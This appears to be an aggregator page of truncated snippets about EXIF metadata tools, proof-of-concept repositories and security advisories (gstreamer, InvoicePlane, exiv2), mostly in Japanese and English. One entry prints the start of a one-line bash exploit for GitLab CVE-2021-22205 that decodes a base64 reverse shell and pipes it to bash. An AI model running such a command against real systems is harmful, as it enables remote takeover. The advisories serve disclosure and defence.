exifLooter

Exif Looter ブログ投稿 » · バグを報告 · 機能をリクエスト 目次 1. はじめに インストール 2. 使用方法 特定の画像を分析 特定のディレクトリを分析 他のツールとのパイプ 画像からメタデータを削除 Open Street MapのURLを取得 3. レポート 4. ロードマップ 5. コントリビューション 6. ライセンス 7. 連絡先 はじめに Exif Looterをローカルでセットアップするための一般的な情報 インストール go install github.com/aydinnyunus/exifLooter@latest...

Exif-Remove

コマンドラインツール - Exifデータを簡単に削除 このツールはPython 2.7で作られ、Windows OS向けにpyinstallerでコンパイルされています。特別な機能はなく、私の作業を楽にするためのもので、あなたにも役立つかもしれません。 なぜ必要か？ Exifは写真に隠れて保存されているメタデータです。善意の人々でも、デジタル写真のメタデータに埋め込まれた個人情報を無意識に露出してしまうことがあります。オンラインでの機密性をより良く保護するためには、exifデータを削除することが重要です。 変更履歴 v.1.0.3...

imago-forensics

imago-forensics 🕵️ Imago は、画像から再帰的にデジタル証拠を抽出する Python ツールです。 このツールは、デジタルフォレンジック調査の際に役立ちます。多くの画像からデジタル証拠を抽出する必要がある場合、このツールを使えば簡単に比較できます。Imago は、証拠を CSV ファイルまたは SQLite データベースに抽出できます。JPEG の Exif に GPS 座標が含まれている場合、Imago は経度と緯度を抽出し、度に変換して、市区町村、国、郵便番号などの関連情報を取得できます。 また、Imago...

Pixel-Flood-Attack

Pixel Flood DoS - CVE-2024-22393 PoC Webサーバー向けPixel Floodバグ 脆弱なバージョンのApache Answerを実行しているWebアプリケーションにおけるPixel Floodメモリ枯渇脆弱性をテストするための軽量なProof-of-Conceptです。 目次 説明 技術的詳細 影響を受けるバージョン 要件 使用方法 PoCの手順 検出 緩和策 バグバウンティのヒント 参考資料 免責事項 説明 このリポジトリは、CVE-2024-22393 のProof-of-Conceptです。これはApache...

GitLab-preauth-RCE_CVE-2021-22205

GitLab-preauth-RCECVE-2021-22205 GitLab事前認証RCE（CVE-2021-22205）のシングルラインバッシュPoC t="http://vuln.site";cmd='echo xxxbase64ofreverseshellcodexxx |base64 -d|bash';f="1.jpg";echo...

exif-gps-tracer

exif-gps-tracer データセットに保存された画像ファイルから位置情報（GeoLocation）データを解析するPythonスクリプトです。CSVファイルおよびHTML Google Maps形式で出力を生成します。 前提条件 このスクリプトをスムーズに実行するには、 1 Google Maps API キーが必要です 2 コンソールで Map JavaScript API を有効にしてください APIキーを取得するには、以下のドキュメントを参照してください...

Rocky Linux 8 [CIQ] Security Update: gstreamer1-plugins-base / gstreamer1-plugins-base-debuginfo / etc (crlsa-2024_9056)

The Rocky Linux 8 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-20249056 advisory. gstreamer: EXIF Metadata Parsing Integer Overflow CVE-2024-4453 Tenable has extracted the preceding description block directly from the CIQ security advisory. Note...

CVE-2026-39372

InvoicePlane is a self-hosted open source application for managing invoices, clients, and payments. Prior to 1.7.2, InvoicePlane stores and serves uploaded image attachments without stripping EXIF metadata. When an administrator uploads an image through invoice attachments, quote attachments, or...

CVE-2026-39372

InvoicePlane , a self-hosted application for managing invoices and payments, is vulnerable to sensitive information disclosure in versions prior to 1.7.2 . The application fails to strip EXIF metadata from uploaded image attachments. Consequently, when an administrator uploads an image via invoic...

CVE-2026-39372 InvoicePlane: Sensitive Information Disclosure via Unstripped EXIF Metadata in Attachments

InvoicePlane is a self-hosted open source application for managing invoices, clients, and payments. Prior to 1.7.2, InvoicePlane stores and serves uploaded image attachments without stripping EXIF metadata. When an administrator uploads an image through invoice attachments, quote attachments, or...

CVE-2026-39372 InvoicePlane: Sensitive Information Disclosure via Unstripped EXIF Metadata in Attachments

InvoicePlane is a self-hosted open source application for managing invoices, clients, and payments. Prior to 1.7.2, InvoicePlane stores and serves uploaded image attachments without stripping EXIF metadata. When an administrator uploads an image through invoice attachments, quote attachments, or...

CVE-2026-39372 InvoicePlane: Sensitive Information Disclosure via Unstripped EXIF Metadata in Attachments

InvoicePlane is a self-hosted open source application for managing invoices, clients, and payments. Prior to 1.7.2, InvoicePlane stores and serves uploaded image attachments without stripping EXIF metadata. When an administrator uploads an image through invoice attachments, quote attachments, or...

OESA-2026-4019 gstreamer1-plugins-base security update

GStreamer is a graphics library for built-in media processing components. BasePlug-ins is a the collections used to maintain the GStreamer plugin. Security Fixes: GStreamer EXIF Metadata Parsing Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to...

PT-2026-98877

Name of the Vulnerable Software and Affected Versions InvoicePlane versions prior to 1.7.2 Description InvoicePlane stores and serves uploaded image attachments without stripping EXIF metadata Exchangeable Image File Format, a standard for storing metadata in image files. When an administrator...

CVE-2026-39372: Exposure of Private Personal Information to an Unauthorized Actor

InvoicePlane is a self-hosted open source application for managing invoices, clients, and payments. Prior to 1.7.2, InvoicePlane stores and serves uploaded image attachments without stripping EXIF metadata. When an administrator uploads an image through invoice attachments, quote attachments, or...

OESA-2026-3970 gstreamer1-plugins-base security update

GStreamer is a graphics library for built-in media processing components. BasePlug-ins is a the collections used to maintain the GStreamer plugin. Security Fixes: GStreamer EXIF Metadata Parsing Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to...

OESA-2026-3968 gstreamer1-plugins-base security update

GStreamer is a graphics library for built-in media processing components. BasePlug-ins is a the collections used to maintain the GStreamer plugin. Security Fixes: GStreamer EXIF Metadata Parsing Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to...

OESA-2026-3967 gstreamer1-plugins-base security update

GStreamer is a graphics library for built-in media processing components. BasePlug-ins is a the collections used to maintain the GStreamer plugin. Security Fixes: GStreamer EXIF Metadata Parsing Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to...

CVE-2026-81652

The Photo Gallery, Sliders, Proofing and WordPress plugin before 4.5.0 does not verify that the requesting user is entitled to a given image record before returning it, allowing users with the Contributor role and above to read the stored metadata of any image on the site, including images in...

[SECURITY] Fedora 45 Update: exiv2-0.28.9-1.fc45

A command line utility to access image metadata, allowing one to: print the Exif metadata of Jpeg images as summary info, interpreted values, or the plain data for each tag print the Iptc metadata of Jpeg images print the Jpeg comment of Jpeg images set, add and delete Exif and Iptc metadata of...